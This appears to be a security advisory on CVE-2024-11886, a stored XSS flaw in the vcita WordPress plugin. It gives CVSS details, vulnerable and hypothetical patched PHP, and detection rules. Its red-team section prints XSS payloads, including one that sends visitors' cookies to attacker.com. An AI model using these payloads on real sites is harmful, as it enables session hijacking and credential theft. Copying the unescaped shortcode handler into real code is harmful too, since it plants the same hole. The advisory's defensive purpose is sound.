CVE-2024-11886

Executive Summary

CVE-2024-11886 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Contact Form and Calls To Action by vcita" (versions up to and including 2.7.1). The flaw resides in the vCitaMeetingScheduler shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts. When a victim (including administrators) visits the compromised page, the malicious script executes in their browser context, potentially leading to session hijacking, defacement, or credential theft.

This vulnerability is part of the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The plugin is widely used for scheduling and contact forms, making this a high-impact issue for sites with multiple authors.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor+)
• User Interaction: None
• Scope: Changed (impacts resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts that execute for all visitors (including admins) elevates the real-world risk. The EPSS score of 0.0% suggests low exploitation likelihood currently, but this may change as PoC code emerges.

Deep Dive & Mechanics

The vulnerability exists in the vCitaMeetingScheduler shortcode handler. The plugin fails to properly sanitize and escape user-supplied attributes (e.g., title, description, or custom parameters) before rendering them in the page HTML. An attacker with contributor-level access can create or edit a post/page and insert the shortcode with malicious payloads in the attributes.

Example vulnerable shortcode usage:

[vCitaMeetingScheduler title="<script>alert('XSS')</script>"]

When the shortcode is processed, the title attribute is output directly without escaping, causing the script to execute in the browser of any user viewing the page.

The attack flow:

1. Attacker logs in with contributor-level privileges.
2. Attacker creates a new post or edits an existing one.
3. Attacker inserts the vulnerable shortcode with a malicious payload in an attribute.
4. The post is saved and published (or left as draft for internal testing).
5. Any user (including admins) visiting the page triggers the XSS payload.

Vulnerable vs. Patched Code

Vulnerable Code (v2.7.1 and earlier):

// In shortcode handler, attributes are output without escaping
function vcita_meeting_scheduler_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => 'Schedule a Meeting',
        'description' => ''
    ), $atts);
    $output = '<div class="vcita-meeting-scheduler">';
    $output .= '<h3>' . $atts['title'] . '</h3>'; // No escaping
    $output .= '<p>' . $atts['description'] . '</p>'; // No escaping
    $output .= '</div>';
    return $output;
}

Patched Code (hypothetical fix):

function vcita_meeting_scheduler_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => 'Schedule a Meeting',
        'description' => ''
    ), $atts);
    $output = '<div class="vcita-meeting-scheduler">';
    $output .= '<h3>' . esc_html($atts['title']) . '</h3>'; // Escaped
    $output .= '<p>' . esc_html($atts['description']) . '</p>'; // Escaped
    $output .= '</div>';
    return $output;
}

The fix uses esc_html() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with vcita plugin <= 2.7.1
• Contributor-level account (or higher)

Step 1: Craft the malicious shortcode

[vCitaMeetingScheduler title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Step 2: Create a new post

• Log in as contributor.
• Navigate to Posts > Add New.
• In the editor (Text mode), insert the shortcode.
• Publish the post.

Step 3: Trigger the XSS

• Any user visiting the post will have their cookies sent to the attacker's server.

Alternative payload for session hijacking:

[vCitaMeetingScheduler description="<img src=x onerror=alert(document.cookie)>"]

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts containing the string [vCitaMeetingScheduler in the content.
• Look for unusual shortcode attributes containing <script> or onerror patterns.
• Review user activity logs for contributors creating posts with suspicious shortcodes.

Hardening:

• Immediately update the plugin if a patched version becomes available.
• Restrict contributor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in shortcode attributes.
• Use a WordPress security plugin to scan for malicious shortcodes.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/contact-form-and-calls-to-action-by-vcita/ (presence of vulnerable version)
• Post Content: Shortcode [vCitaMeetingScheduler with attributes containing <script>, onerror, onload, or javascript:.
• Network: Outbound connections to attacker-controlled domains from WordPress admin pages.
• Logs: WordPress debug log entries showing unexpected shortcode attribute values.

Detection Engineering

YARA Rule

rule wordpress_vcita_xss_cve_2024_11886 {
    meta:
        description = "Detects malicious shortcode attributes in vcita plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11886"
    strings:
        $shortcode = "[vCitaMeetingScheduler"
        $xss_payload_1 = /<script[^>]*>/
        $xss_payload_2 = /onerror\s*=\s*["']?[^"']*["']?/
        $xss_payload_3 = /onload\s*=\s*["']?[^"']*["']?/
        $xss_payload_4 = /javascript\s*:\s*/
    condition:
        $shortcode and (
            $xss_payload_1 or
            $xss_payload_2 or
            $xss_payload_3 or
            $xss_payload_4
        )
}

Sigma Rule

title: WordPress vcita Plugin Stored XSS via Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects posts containing malicious vcita shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains: '[vCitaMeetingScheduler'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of shortcode with safe attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"WordPress vcita Plugin Stored XSS Attempt"; flow:to_server,established; content:"[vCitaMeetingScheduler"; nocase; pcre:"/(<script|onerror=|onload=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Audit all posts for malicious shortcodes using the YARA/Sigma rules above.
3. Remove any compromised posts and reset affected user sessions.

Long-term Fix:

• The vendor must release a patched version that properly escapes shortcode attributes using esc_html() or wp_kses().
• Until then, apply a virtual patch via WAF to block XSS payloads in shortcode attributes.

Workaround:

• Restrict contributor-level access to only trusted users.
• Use a WordPress security plugin that monitors shortcode usage.

Valters IT